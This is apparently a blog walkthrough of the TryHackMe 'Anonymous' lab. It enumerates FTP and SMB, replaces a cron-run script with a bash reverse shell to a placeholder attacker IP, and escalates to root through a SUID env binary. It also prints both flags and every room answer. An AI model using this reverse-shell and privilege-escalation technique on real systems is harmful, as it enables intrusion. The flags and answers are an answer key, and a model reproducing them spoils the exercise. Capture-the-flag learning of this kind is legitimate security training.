Anonymous (THM) Tryhackme Walkthrough

Description : Not the hacking group

Difficulty : Medium

Note : All of the content and images are from https://tryhackme.com/

Room : https://tryhackme.com/room/anonymous

Enjoy.

Walkthrough :

Phase 1: Reconnaissance & Enumeration

The initial step begins with mapping the open ports and services on the target IP using Nmap:

nmap -sCV -T4 <TARGET_IP>

The scan results reveal 4 main open ports:

• Port 21: FTP (Anonymous login is allowed)
• Port 22: SSH
• Port 139 / 445: SMB (Samba)

1. SMB Enumeration

Check if there are any shared folders accessible without credentials using smbclient:

bash

smbclient -L //<TARGET_IP> -N

Gunakan kode dengan hati-hati.

• You will find a share named pics. It contains a few image files, but there is no sensitive data immediately available for exploitation.

2. FTP Enumeration

Connect to the FTP server using the anonymous account:

ftp <TARGET_IP>
# Username: anonymous
# Password: <leave blank or enter anonymous>

Gunakan kode dengan hati-hati.

Once logged in, navigate through the available directories:

ftp

ftp> ls
ftp> cd scripts
ftp> ls -la

Gunakan kode dengan hati-hati.

Inside the scripts folder, you will find three files:

1. clean.sh (A bash script that has public write permissions)
2. removed_files.log (An automated log file that continuously updates, indicating that clean.sh runs periodically via a Cronjob)
3. to_do.txt

Download these files to your local machine for modification:

Get Lawvye’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

ftp

ftp> mget *
ftp> exit

Phase 2: Gaining Initial Access (Foothold)

Since we have write permissions to replace the clean.sh file and the script is executed automatically by the system, we can plant a reverse shell.

1. Edit the clean.sh file on your local machine and replace its entire contents with a bash payload from PentestMonkey:

#!/bin/bash bash -i >& /dev/tcp/<ATTACKER_IP>/9999 0>&1

1. (Replace <ATTACKER_IP> with your TryHackMe VPN IP address).
2. Set up a Netcat listener on your local terminal to catch the incoming connection:

nc -nvlp 9999

1. Upload the modified clean.sh file back to the target FTP server:

ftp <TARGET_IP> # Login as anonymous cd scripts put clean.sh quit

1. Wait for about 1–2 minutes. As soon as the cronjob executes the script, you will receive a shell connection on your Netcat listener.

Retrieving the User Flag

Once inside, stabilize your shell and open the user’s home folder to grab the first flag:

python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/namuser/user.txt
# User Flag: 90d6f992585815ff991e68748c414740

Phase 3: Privilege Escalation (Becoming Root)

To escalate your privileges to root, look for Linux binaries with the SUID bit enabled:

find / -perm -u=s -type f 2>/dev/null

Among the listed binaries, an unusual one stands out: /usr/bin/env.

According to the exploit documentation on GTFOBins env, if the env binary has SUID misconfigurations, we can abuse it to maintain escalated root privileges using the following command:

/usr/bin/env /bin/sh -p

Execute the command, then verify your identity by typing whoami. Your access level will now be root.

Retrieving the Root Flag

Finally, navigate to the root directory to collect the final flag:

cd /root
cat root.txt
# Root Flag: 4d930091c31a622a7ed10f27999af363

Task 1 Pwn

Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a lab machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

For more information on Linux, check out Learn Linux

Answer the questions below

Q1.) Enumerate the machine. How many ports are open?

Answer : 4

Q2.) What service is running on port 21?

Answer : FTP

Q3.) What service is running on ports 139 and 445?

Answer : SMB

Q4.) There’s a share on the user’s computer. What’s it called?

Hint : This is the hint you’re looking for: What’s that log file doing there?…

nc won’t work the way you’d expect it to

Answer : pics

Q5.) user.txt

Answer : 90d6f992585815ff991e68748c414740

Q6.) root.txt

Hint : This may require you to do some outside research

Answer : 4d930091c31a622a7ed10f27999af363

I hope you enjoyed reading this post as much as I enjoyed writing it.
Thanks for reading my blog sir ;)
Lawvye